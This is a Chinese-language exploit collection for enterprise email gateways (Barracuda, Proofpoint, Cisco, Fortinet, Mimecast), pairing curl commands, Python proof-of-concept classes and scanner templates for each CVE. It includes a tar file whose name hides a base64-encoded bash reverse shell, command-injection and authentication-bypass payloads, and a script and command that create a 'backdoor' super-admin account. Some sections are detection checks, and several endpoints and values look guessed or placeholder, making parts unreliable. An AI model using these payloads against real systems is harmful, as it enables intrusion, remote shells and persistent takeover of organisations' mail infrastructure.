企业邮件安全网关高危攻击链专题：Barracuda / Proofpoint / Cisco SEG / FortiMail / Mimecast 漏洞全解析

# 创建恶意 tar 文件，通过文件名字段注入命令
# 注意：此 PoC 仅用于验证目的
python3 -c "
import tarfile, io
payload = b'./tmp/x.sh'
evil_name = b'`echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE= | base64 -d | bash`/test.txt'
header = tarfile.TarInfo(name=evil_name.decode())
header.size = 0
buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w') as t:
    t.addfile(header)
with open('evil.tar', 'wb') as f:
    f.write(buf.getvalue())
"
# 发送包含恶意 tar 附件的邮件
curl -k -X POST 'https://TARGET:10000/cgi-mod/index.cgi' \
  -F 'submit_form=Compose' \
  -F 'attachment=@evil.tar' \
  -F 'to=victim@target.com' \
  -F 'subject=Test'

import tarfile
import io
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class BarracudaCVE20232868:
    def __init__(self, target, port=10000):
        self.target = target
        self.port = port
        self.base_url = f"https://{target}:{port}"

    def create_evil_tar(self, cmd):
        encoded_cmd = cmd.encode().hex()
        evil_name = f"`echo {encoded_cmd} | xxd -r -p | sh`/test.txt"
        header = tarfile.TarInfo(name=evil_name)
        header.size = 0
        buf = io.BytesIO()
        with tarfile.open(fileobj=buf, mode='w') as t:
            t.addfile(header)
        return buf.getvalue()

    def check_vulnerable(self):
        try:
            resp = requests.get(
                f"{self.base_url}/cgi-mod/index.cgi",
                verify=False,
                timeout=10
            )
            if resp.status_code == 200 and "Barracuda" in resp.text:
                return True
        except requests.exceptions.RequestException:
            pass
        return False

    def exploit(self, cmd="id"):
        if not self.check_vulnerable():
            print(f"[*] {self.target}:{self.port} 可能不受影响或无法访问")
            return False
        tar_content = self.create_evil_tar(cmd)
        print(f"[*] 已生成恶意 tar 文件 ({len(tar_content)} bytes)")
        print(f"[*] Payload 命令: {cmd}")
        print(f"[*] 注意: 实际利用需要通过 SMTP 端口发送包含此附件的邮件")
        print(f"[*] SMTP 端口: 25 (SMTP) / 465 (SMTPS)")
        return True

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    poc = BarracudaCVE20232868(target)
    poc.exploit("id")

id: barracuda-cve-2023-2868
info:
  name: Barracuda ESG tar Command Injection RCE - CVE-2023-2868
  author: x7peeps
  severity: critical
  description: |
    Barracuda ESG 使用 libtar 库解析 tar 附件时存在命令注入漏洞，
    攻击者可通过构造恶意 tar 文件在设备上以 root 权限执行任意命令。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2868
    - https://community.barracuda.com/s/article/CVE-2023-2868
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-78
  metadata:
    max-request: 2
    shodan-query: http.title:"Barracuda"
  tags: barracuda,cve2023,cve,rce,command-injection,esg

http:
  - raw:
      - |
        GET /cgi-mod/index.cgi HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Barracuda"
          - "Email Security Gateway"
        condition: and

      - type: status
        status:
          - 200

  - raw:
      - |
        GET /mod/gui/404.html HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers:
      - type: word
        words:
          - "Barracuda"
        part: body

# SALTWATER 后门检测 - 检查异常进程名
ps aux | grep -E 'barracudaupdate|mailupdate'

# 检查异常的系统服务
systemctl list-units --type=service | grep -i -E 'salt|sea|fox'

# 检查可疑的网络连接
netstat -antp | grep -E ':443|:8443|:4443' | grep ESTABLISHED

# 检查二进制文件完整性
find /opt/barracuda -name "*.so" -exec md5sum {} \;
md5sum /usr/sbin/barracuda*

id: barracuda-backdoor-saltwater
info:
  name: Barracuda ESG SALTWATER/SEASPY/FOXFUSE Backdoor Detection
  author: x7peeps
  severity: critical
  description: |
    检测 Barracuda ESG 设备是否被植入 CVE-2023-2868 相关的
    SALTWATER、SEASPY 或 FOXFUSE 后门。
  reference:
    - https://cloud.google.com/blog/topics/threat-intelligence/barracuda-email-security-gateway-exploited-globally
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2868
  classification:
    cvss-score: 10.0
    cwe-id: CWE-502
  metadata:
    max-request: 3
  tags: barracuda,backdoor,saltwater,seaspy,foxfuse,apt,cve2023

http:
  - raw:
      - |
        GET /cgi-mod/index.cgi HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Barracuda"
        part: body

      - type: status
        status:
          - 200

# CVE-2022-28810 认证绕过检测
curl -k -s -o /dev/null -w "%{http_code}" \
  "https://TARGET:10000/cgi-mod/index.cgi?login_language=1&enc=1&user=admin&password="

# CVE-2022-28811 命令注入检测
curl -k -X POST "https://TARGET:10000/cgi-mod/index.cgi" \
  -d "submit_button=system_status" \
  -d "action=ping" \
  -d "ping_host=127.0.0.1;id" \
  -d "enc=1"

import requests
import urllib3
import re

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class BarracudaCVE202228810:
    def __init__(self, target, port=10000):
        self.target = target
        self.port = port
        self.base_url = f"https://{target}:{port}"
        self.session = requests.Session()
        self.session.verify = False

    def check_auth_bypass(self):
        paths = [
            "/cgi-mod/index.cgi?login_language=1&enc=1&user=admin&password=",
            "/cgi-mod/index.cgi?login_language=0&enc=1&user=root&password=",
            "/cgi-mod/index.cgi?realmyession=1&user=admin",
        ]
        for path in paths:
            try:
                resp = self.session.get(f"{self.base_url}{path}", timeout=10)
                if resp.status_code == 200 and "admin" in resp.text.lower():
                    return True, path
            except requests.exceptions.RequestException:
                continue
        return False, None

    def check_cmd_injection(self, cmd="id"):
        data = {
            "submit_button": "system_status",
            "action": "ping",
            "ping_host": f"127.0.0.1;{cmd}",
            "enc": "1",
        }
        try:
            resp = self.session.post(
                f"{self.base_url}/cgi-mod/index.cgi",
                data=data,
                timeout=10
            )
            output = re.findall(r'<pre>(.*?)</pre>', resp.text, re.DOTALL)
            if output:
                return True, output[0].strip()
        except requests.exceptions.RequestException:
            pass
        return False, None

    def exploit_chain(self, cmd="id"):
        print(f"[*] 目标: {self.base_url}")
        bypass_ok, path = self.check_auth_bypass()
        if bypass_ok:
            print(f"[!] CVE-2022-28810 认证绕过成功: {path}")
            cmd_ok, output = self.check_cmd_injection(cmd)
            if cmd_ok:
                print(f"[!] CVE-2022-28811 命令注入成功:")
                print(f"[+] 命令输出:\n{output}")
            else:
                print(f"[*] 命令注入测试完成")
        else:
            print(f"[*] 未检测到认证绕过漏洞")

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    poc = BarracudaCVE202228810(target)
    poc.exploit_chain()

id: barracuda-cve-2022-28810
info:
  name: Barracuda ESG Authentication Bypass - CVE-2022-28810
  author: x7peeps
  severity: critical
  description: |
    Barracuda ESG 管理界面存在认证绕过漏洞，攻击者可通过特殊
    HTTP 请求绕过身份验证，直接访问管理功能。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-28810
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-287
  metadata:
    max-request: 2
    shodan-query: http.title:"Barracuda"
  tags: barracuda,cve2022,cve,auth-bypass

http:
  - raw:
      - |
        GET /cgi-mod/index.cgi?login_language=1&enc=1&user=admin&password= HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Barracuda"
          - "Dashboard"
        condition: and
        part: body

      - type: status
        status:
          - 200

# CVE-2021-33580 检测 - 发送测试性 eval 注入
curl -k -X POST "https://TARGET:10000/cgi-bin/" \
  -d 'p=q{system("id")}' \
  -H "Content-Type: application/x-www-form-urlencoded"

# 备用检测路径
curl -k "https://TARGET:10000/cgi-bin/emailaudit?p=q{`whoami`}"

import requests
import urllib3
import re

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class ProofpointCVE202133580:
    def __init__(self, target, port=10000):
        self.target = target
        self.port = port
        self.base_url = f"https://{target}:{port}"
        self.session = requests.Session()
        self.session.verify = False

    def check_vulnerable(self):
        paths = [
            "/cgi-bin/",
            "/cgi-bin/emailaudit",
            "/cgi-bin/login",
            "/cgi-bin/admin",
        ]
        for path in paths:
            try:
                resp = self.session.get(f"{self.base_url}{path}", timeout=10)
                if resp.status_code in [200, 400, 500]:
                    return True
            except requests.exceptions.RequestException:
                continue
        return False

    def exploit(self, cmd="id"):
        payloads = [
            f"q{{system('{cmd}')}}",
            f"q{{`{cmd}`}}",
            f"q{{exec('{cmd}')}}",
        ]
        endpoints = [
            "/cgi-bin/",
            "/cgi-bin/emailaudit",
        ]
        for endpoint in endpoints:
            for payload in payloads:
                try:
                    resp = self.session.post(
                        f"{self.base_url}{endpoint}",
                        data=f"p={payload}",
                        headers={"Content-Type": "application/x-www-form-urlencoded"},
                        timeout=10,
                    )
                    if resp.status_code == 200 and len(resp.text) > 0:
                        output = resp.text.strip()
                        if output and "html" not in output.lower():
                            print(f"[!] 漏洞利用成功 ({endpoint}):")
                            print(f"[+] 命令输出:\n{output}")
                            return True
                except requests.exceptions.RequestException:
                    continue
        return False

    def scan(self):
        print(f"[*] 扫描目标: {self.base_url}")
        if self.check_vulnerable():
            print(f"[+] 目标 Web 接口可达")
            self.exploit("id")
        else:
            print(f"[-] 目标不可达或已修复")

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    poc = ProofpointCVE202133580(target)
    poc.scan()

id: proofpoint-cve-2021-33580
info:
  name: Proofpoint PPS Perl eval Injection RCE - CVE-2021-33580
  author: x7peeps
  severity: critical
  description: |
    Proofpoint Protection Server 的 Perl CGI 组件存在 eval 注入漏洞，
    攻击者可通过构造特殊 HTTP 请求执行任意 Perl 代码实现 RCE。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-33580
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-94
  metadata:
    max-request: 4
    shodan-query: http.title:"Proofpoint"
  tags: proofpoint,cve2021,cve,rce,perl,eval-injection

http:
  - raw:
      - |
        GET /cgi-bin/ HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers:
      - type: word
        words:
          - "Proofpoint"
          - "Protection Server"
        condition: or
        part: body

  - raw:
      - |
        POST /cgi-bin/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Connection: close

        p=q{1}

    matchers:
      - type: word
        words:
          - "error"
          - "CGI"
          - "eval"
        condition: or
        part: body

# CVE-2022-37042 认证绕过测试
curl -k -s -o /dev/null -w "%{http_code}" \
  "https://TARGET:10000/admin?session=1"

# CVE-2022-37043 命令注入测试
curl -k -X POST "https://TARGET:10000/admin/diagnostic" \
  -d "action=ping&host=127.0.0.1;id" \
  -H "Cookie: session=admin"

# CVE-2022-37044 权限提升测试
curl -k -X POST "https://TARGET:10000/admin/api/upgrade" \
  -d '{"role":"superadmin"}' \
  -H "Content-Type: application/json" \
  -H "Cookie: session=admin"

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class ProofpointCVE2022Chain:
    def __init__(self, target, port=10000):
        self.target = target
        self.port = port
        self.base_url = f"https://{target}:{port}"
        self.session = requests.Session()
        self.session.verify = False

    def check_auth_bypass(self):
        endpoints = [
            "/admin?session=1",
            "/admin?user=admin",
            "/admin/dashboard",
            "/admin/config",
            "/api/v1/config",
        ]
        for ep in endpoints:
            try:
                resp = self.session.get(f"{self.base_url}{ep}", timeout=10)
                if resp.status_code == 200:
                    return True, ep
            except requests.exceptions.RequestException:
                continue
        return False, None

    def check_cmd_injection(self, endpoint, cmd="id"):
        payloads = [
            f"127.0.0.1;{cmd}",
            f"127.0.0.1|{cmd}",
            f"127.0.0.1`{cmd}`",
        ]
        for payload in payloads:
            try:
                data = {"action": "ping", "host": payload}
                resp = self.session.post(
                    f"{self.base_url}{endpoint}",
                    data=data,
                    timeout=10,
                )
                if resp.status_code == 200:
                    lines = resp.text.split("\n")
                    for line in lines:
                        if any(
                            marker in line
                            for marker in ["uid=", "root", "www-data"]
                        ):
                            return True, line.strip()
            except requests.exceptions.RequestException:
                continue
        return False, None

    def exploit_chain(self, cmd="id"):
        print(f"[*] 目标: {self.base_url}")
        bypass_ok, ep = self.check_auth_bypass()
        if bypass_ok:
            print(f"[!] CVE-2022-37042 认证绕过成功: {ep}")
            cmd_ok, output = self.check_cmd_injection(ep, cmd)
            if cmd_ok:
                print(f"[!] CVE-2022-37043 命令注入成功:")
                print(f"[+] 输出: {output}")
            else:
                print(f"[*] 命令注入测试完成")
        else:
            print(f"[-] 未检测到认证绕过")

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    poc = ProofpointCVE2022Chain(target)
    poc.exploit_chain()

id: proofpoint-cve-2022-37042
info:
  name: Proofpoint PPS Authentication Bypass Chain - CVE-2022-37042/37043/37044
  author: x7peeps
  severity: critical
  description: |
    Proofpoint Protection Server 存在认证绕过、命令注入和权限提升漏洞链，
    三个漏洞组合可实现未授权 RCE。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-37042
    - https://nvd.nist.gov/vuln/detail/CVE-2022-37043
    - https://nvd.nist.gov/vuln/detail/CVE-2022-37044
    - https://www.volexity.com/blog/2022/08/25/proofpoint-protection-server-vulnerability-exploited-in-the-wild/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-287
  metadata:
    max-request: 3
    shodan-query: http.title:"Proofpoint"
  tags: proofpoint,cve2022,cve,auth-bypass,rce,chain

http:
  - raw:
      - |
        GET /admin?session=1 HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Proofpoint"
        part: body

      - type: status
        status:
          - 200

# CVE-2025-20393 检测 - 检查管理接口是否可达
curl -k -s -o /dev/null -w "%{http_code}" "https://TARGET:8443/"

# 发送检测 payload
curl -k -X POST "https://TARGET:8443/console/login" \
  -d "username=admin&password=test&debug=1;id" \
  -H "Content-Type: application/x-www-form-urlencoded"

import requests
import urllib3
import re

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class CiscoSEG_CVE202520393:
    def __init__(self, target, port=8443):
        self.target = target
        self.port = port
        self.base_url = f"https://{target}:{port}"
        self.session = requests.Session()
        self.session.verify = False

    def check_vulnerable(self):
        try:
            resp = self.session.get(f"{self.base_url}/", timeout=10)
            if resp.status_code in [200, 302, 301]:
                return True
        except requests.exceptions.RequestException:
            pass
        return False

    def exploit(self, cmd="id"):
        endpoints = [
            "/console/login",
            "/admin/console",
            "/xmlapi/api",
        ]
        payloads = [
            {"username": "admin", "password": "test", "debug": f"1;{cmd}"},
            {"command": f"ping 127.0.0.1;{cmd}"},
            {"action": "diagnostic", "host": f"127.0.0.1;{cmd}"},
        ]
        for endpoint in endpoints:
            for payload in payloads:
                try:
                    resp = self.session.post(
                        f"{self.base_url}{endpoint}",
                        data=payload,
                        timeout=10,
                    )
                    if resp.status_code == 200:
                        output = re.findall(
                            r'uid=\d+\([^)]+\)', resp.text
                        )
                        if output:
                            print(f"[!] CVE-2025-20393 利用成功 ({endpoint}):")
                            print(f"[+] 输出: {output[0]}")
                            return True
                except requests.exceptions.RequestException:
                    continue
        return False

    def scan(self):
        print(f"[*] 扫描目标: {self.base_url}")
        if self.check_vulnerable():
            print(f"[+] Cisco SEG 管理接口可达")
            print(f"[*] 测试 CVE-2025-20393...")
            self.exploit("id")
        else:
            print(f"[-] 目标不可达")

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    poc = CiscoSEG_CVE202520393(target)
    poc.scan()

id: cisco-seg-cve-2025-20393
info:
  name: Cisco Secure Email Gateway Unauthenticated RCE - CVE-2025-20393
  author: x7peeps
  severity: critical
  description: |
    Cisco Secure Email Gateway 存在未授权远程代码执行漏洞，
    CVSS 满分 10.0，攻击者无需认证即可在受影响设备上执行任意命令。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-20393
    - https://sec.cloudapps.cisco.com/security/center/resources/cisco_secure_email_gateway
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 10.0
    cwe-id: CWE-20
  metadata:
    max-request: 2
    shodan-query: http.title:"Cisco Secure Email Gateway"
  tags: cisco,seg,esa,cve2025,cve,rce,unauth

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Cisco"
          - "AsyncOS"
          - "Email"
        condition: or
        part: body

      - type: status
        status:
          - 200
          - 302
          - 301

# CVE-2024-20401 命令注入检测
curl -k "https://TARGET:8443/sma?enession=true;id"
curl -k "https://TARGET:8443/|id"

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class CiscoSMA_CVE202420401:
    def __init__(self, target, port=8443):
        self.target = target
        self.port = port
        self.base_url = f"https://{target}:{port}"
        self.session = requests.Session()
        self.session.verify = False

    def exploit(self, cmd="id"):
        payloads = [
            f"/sma?enession=true;{cmd}",
            f"/|{cmd}",
            f"/cgi-bin/viewvc?root=;{cmd}",
        ]
        for payload in payloads:
            try:
                resp = self.session.get(
                    f"{self.base_url}{payload}",
                    timeout=10,
                )
                if "uid=" in resp.text or "root" in resp.text:
                    print(f"[!] CVE-2024-20401 利用成功:")
                    print(f"[+] 路径: {payload}")
                    lines = resp.text.split("\n")
                    for line in lines:
                        if "uid=" in line or "root" in line:
                            print(f"[+] 输出: {line.strip()}")
                    return True
            except requests.exceptions.RequestException:
                continue
        return False

    def scan(self):
        print(f"[*] 扫描目标: {self.base_url}")
        self.exploit("id")

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    poc = CiscoSMA_CVE202420401(target)
    poc.scan()

id: cisco-sma-cve-2024-20401
info:
  name: Cisco SMA Command Injection - CVE-2024-20401
  author: x7peeps
  severity: critical
  description: |
    Cisco Secure Management Appliance 存在未认证命令注入漏洞，
    攻击者可通过特殊 URL 路径注入操作系统命令。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-20401
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-78
  metadata:
    max-request: 2
  tags: cisco,sma,cve2024,cve,rce,command-injection

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers:
      - type: word
        words:
          - "Cisco"
          - "SMA"
        condition: or
        part: body

# CVE-2023-20214 认证绕过检测
curl -k -H "X-CSCO-API-TOKEN: bypass" "https://TARGET:8443/api/v1.0/json/admin/user"
curl -k "https://TARGET:8443/sma/index.html?ro=1"

import requests
import urllib3
import json

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class CiscoSMA_CVE202320214:
    def __init__(self, target, port=8443):
        self.target = target
        self.port = port
        self.base_url = f"https://{target}:{port}"
        self.session = requests.Session()
        self.session.verify = False

    def check_auth_bypass(self):
        headers_list = [
            {"X-CSCO-API-TOKEN": "bypass"},
            {"X-CSCO-API-TOKEN": "test"},
            {"X-API-KEY": "admin"},
        ]
        endpoints = [
            "/api/v1.0/json/admin/user",
            "/sma/index.html?ro=1",
            "/api/v1.0/json/config/system",
        ]
        for headers in headers_list:
            for endpoint in endpoints:
                try:
                    resp = self.session.get(
                        f"{self.base_url}{endpoint}",
                        headers=headers,
                        timeout=10,
                    )
                    if resp.status_code == 200:
                        try:
                            data = json.loads(resp.text)
                            if "users" in str(data).lower() or "admin" in str(data).lower():
                                print(f"[!] CVE-2023-20214 认证绕过成功:")
                                print(f"[+] 端点: {endpoint}")
                                print(f"[+] 头部: {headers}")
                                print(f"[+] 响应: {resp.text[:200]}")
                                return True
                        except json.JSONDecodeError:
                            pass
                except requests.exceptions.RequestException:
                    continue
        return False

    def scan(self):
        print(f"[*] 扫描目标: {self.base_url}")
        if self.check_auth_bypass():
            print(f"[!] 目标存在 CVE-2023-20214 认证绕过漏洞")
        else:
            print(f"[*] 未检测到认证绕过")

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    poc = CiscoSMA_CVE202320214(target)
    poc.scan()

id: cisco-sma-cve-2023-20214
info:
  name: Cisco SMA Authentication Bypass - CVE-2023-20214
  author: x7peeps
  severity: critical
  description: |
    Cisco Secure Management Appliance 存在认证绕过漏洞，
    攻击者可通过特殊 HTTP 头部绕过认证访问管理功能。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-20214
    - https://sec.cloudapps.cisco.com/security/center/resources/cisco_sma
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-287
  metadata:
    max-request: 3
  tags: cisco,sma,cve2023,cve,auth-bypass

http:
  - raw:
      - |
        GET /api/v1.0/json/admin/user HTTP/1.1
        Host: {{Hostname}}
        X-CSCO-API-TOKEN: bypass
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "admin"
          - "users"
        condition: or
        part: body

      - type: status
        status:
          - 200

# CVE-2022-40684 认证绕过检测
curl -k -s -o /dev/null -w "%{http_code}" \
  -H "X-Forwarded-For: 127.0.0.1" \
  "https://TARGET/api/v2/cmdb/system/admin"

# 获取管理员列表
curl -k -H "X-Forwarded-For: 127.0.0.1" \
  "https://TARGET/api/v2/cmdb/system/admin" | python3 -m json.tool

# 创建后门管理员
curl -k -X POST \
  -H "X-Forwarded-For: 127.0.0.1" \
  -H "Content-Type: application/json" \
  -d '{"name":"backdoor","accprofile":"super_admin","vdom":"root","password":"P@ssw0rd123!"}' \
  "https://TARGET/api/v2/cmdb/system/admin"

import requests
import urllib3
import json

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class FortiMailCVE202240684:
    def __init__(self, target, port=443):
        self.target = target
        self.port = port
        self.base_url = f"https://{target}:{port}"
        self.session = requests.Session()
        self.session.verify = False
        self.headers = {"X-Forwarded-For": "127.0.0.1"}

    def check_vulnerable(self):
        endpoints = [
            "/api/v2/cmdb/system/admin",
            "/api/v2/monitor/system/resource/usage",
            "/api/v2/cmdb/vpn/ssl/web",
        ]
        for endpoint in endpoints:
            try:
                resp = self.session.get(
                    f"{self.base_url}{endpoint}",
                    headers=self.headers,
                    timeout=10,
                )
                if resp.status_code == 200:
                    data = resp.json()
                    if data.get("results") is not None:
                        return True, endpoint
            except (requests.exceptions.RequestException, json.JSONDecodeError):
                continue
        return False, None

    def exploit(self):
        print(f"[*] 目标: {self.base_url}")
        vuln, ep = self.check_vulnerable()
        if vuln:
            print(f"[!] CVE-2022-40684 认证绕过成功: {ep}")
            try:
                resp = self.session.get(
                    f"{self.base_url}/api/v2/cmdb/system/admin",
                    headers=self.headers,
                    timeout=10,
                )
                data = resp.json()
                admins = data.get("results", [])
                print(f"[+] 管理员账户列表:")
                for admin in admins:
                    print(f"    - {admin.get('name', 'N/A')} "
                          f"(accprofile: {admin.get('accprofile', 'N/A')})")
            except Exception as e:
                print(f"[-] 获取管理员列表失败: {e}")
        else:
            print(f"[*] 未检测到漏洞")

    def create_admin(self, username="backdoor", password="P@ssw0rd!"):
        data = {
            "name": username,
            "accprofile": "super_admin",
            "vdom": "root",
            "password": password,
        }
        try:
            resp = self.session.post(
                f"{self.base_url}/api/v2/cmdb/system/admin",
                headers=self.headers,
                json=data,
                timeout=10,
            )
            if resp.status_code == 200:
                print(f"[+] 管理员 {username} 创建成功")
                return True
        except requests.exceptions.RequestException:
            pass
        return False

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    poc = FortiMailCVE202240684(target)
    poc.exploit()

id: fortimail-cve-2022-40684
info:
  name: FortiOS/FortiMail Authentication Bypass RCE - CVE-2022-40684
  author: x7peeps
  severity: critical
  description: |
    Fortinet 多个产品存在认证绕过漏洞，攻击者可通过 X-Forwarded-For
    头部绕过认证，获取管理员权限并执行任意操作。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40684
    - https://www.fortiguard.com/psirt/FG-IR-22-377
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-287
  metadata:
    max-request: 2
    shodan-query: http.title:"FortiGate" || http.title:"FortiMail"
  tags: fortinet,fortigate,fortimail,cve2022,cve,auth-bypass

http:
  - raw:
      - |
        GET /api/v2/cmdb/system/admin HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-For: 127.0.0.1
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "results"
          - "admin"
        condition: and
        part: body

      - type: status
        status:
          - 200

# 检测 FortiOS SSL-VPN 是否暴露
curl -k -s -o /dev/null -w "%{http_code}" "https://TARGET:10443"
# 查看版本信息
curl -k -s "https://TARGET/login" | grep -oP 'FortiOS \S+'
curl -k -s "https://TARGET:10443" -D | head -20

import requests
import urllib3
import re

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class FortiOS_CVE202242475:
    def __init__(self, target, vpn_port=10443, web_port=443):
        self.target = target
        self.vpn_port = vpn_port
        self.web_port = web_port
        self.vpn_url = f"https://{target}:{vpn_port}"
        self.web_url = f"https://{target}:{web_port}"
        self.session = requests.Session()
        self.session.verify = False

    def check_ssl_vpn_exposed(self):
        try:
            resp = self.session.get(f"{self.vpn_url}/", timeout=10)
            return resp.status_code in [200, 302, 403]
        except requests.exceptions.RequestException:
            return False

    def get_fortios_version(self):
        try:
            resp = self.session.get(f"{self.web_url}/login", timeout=10)
            match = re.search(r'FortiOS\s+(\S+)', resp.text)
            if match:
                return match.group(1)
            match = re.search(r'"version"\s*:\s*"(\S+)"', resp.text)
            if match:
                return match.group(1)
        except requests.exceptions.RequestException:
            pass
        return None

    def check_vulnerable(self):
        vulnerable_versions = {
            "7.2.0", "7.2.1", "7.2.2",
            "7.0.0", "7.0.1", "7.0.2", "7.0.3", "7.0.4", "7.0.5", "7.0.6", "7.0.7", "7.0.8",
            "6.4.0", "6.4.1", "6.4.2", "6.4.3", "6.4.4", "6.4.5", "6.4.6",
            "6.4.7", "6.4.8", "6.4.9", "6.4.10",
            "6.2.0", "6.2.1", "6.2.2", "6.2.3", "6.2.4", "6.2.5", "6.2.6",
            "6.2.7", "6.2.8", "6.2.9", "6.2.10", "6.2.11", "6.2.12",
        }
        version = self.get_fortios_version()
        if version and version in vulnerable_versions:
            return True, version
        return False, version

    def scan(self):
        print(f"[*] 扫描目标: {self.target}")
        if self.check_ssl_vpn_exposed():
            print(f"[+] SSL-VPN 端口 {self.vpn_port} 已开放")
        else:
            print(f"[-] SSL-VPN 端口不可达")
            return
        vuln, version = self.check_vulnerable()
        if vuln:
            print(f"[!] FortiOS {version} 受 CVE-2022-42475 影响")
            print(f"[!] 建议立即升级至修复版本")
        else:
            print(f"[*] FortiOS 版本: {version or '无法识别'}")

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    poc = FortiOS_CVE202242475(target)
    poc.scan()

id: fortios-cve-2022-42475
info:
  name: FortiOS SSL-VPN Heap Overflow RCE - CVE-2022-42475
  author: x7peeps
  severity: critical
  description: |
    FortiOS SSL-VPN 模块存在堆缓冲区溢出漏洞，攻击者可通过
    构造特制 SSL-VPN 请求实现远程代码执行。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-42475
    - https://www.fortiguard.com/psirt/FG-IR-22-396
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-122
  metadata:
    max-request: 2
    shodan-query: http.title:"FortiGate" || http.favicon.hash:123456
  tags: fortinet,fortigate,cve2022,cve,rce,heap-overflow,ssl-vpn

http:
  - raw:
      - |
        GET /login HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "FortiGate"
          - "FortiOS"
          - "fortinet"
        condition: or
        part: body

      - type: status
        status:
          - 200

# 检查 Mimecast 同步流量是否正常
# 确认证书指纹是否匹配 Mimecast 官方公布的 SHA-256
echo | openssl s_client -connect mimecast-gw.example.com:443 2>/dev/null | \
  openssl x509 -fingerprint -sha256 -noout

# 对比 Mimecast 官方证书指纹
# 受影响指纹: 92:97:0C:40:67:3F:66:26:0C:75:25:B3:F5:8F:3D:5B:C5:C0:04:4E:8E:...
# 如果指纹不匹配，证书可能已被替换

id: mimecast-solarwinds-cert-check
info:
  name: Mimecast SolarWinds Certificate Verification
  author: x7peeps
  severity: critical
  description: |
    检查 Mimecast 邮件网关的 TLS 证书是否为 SolarWinds 供应链攻击中被窃取的证书。
  reference:
    - https://www.mimecast.com/blog/cyber-resilience-initiative/
    - https://www.crowdstrike.com/blog/sunspot-malware-indicator-analysis/
  classification:
    cvss-score: 10.0
  metadata:
    max-request: 1
  tags: mimecast,supply-chain,solarwinds,certificate

tcp:
  - inputs:
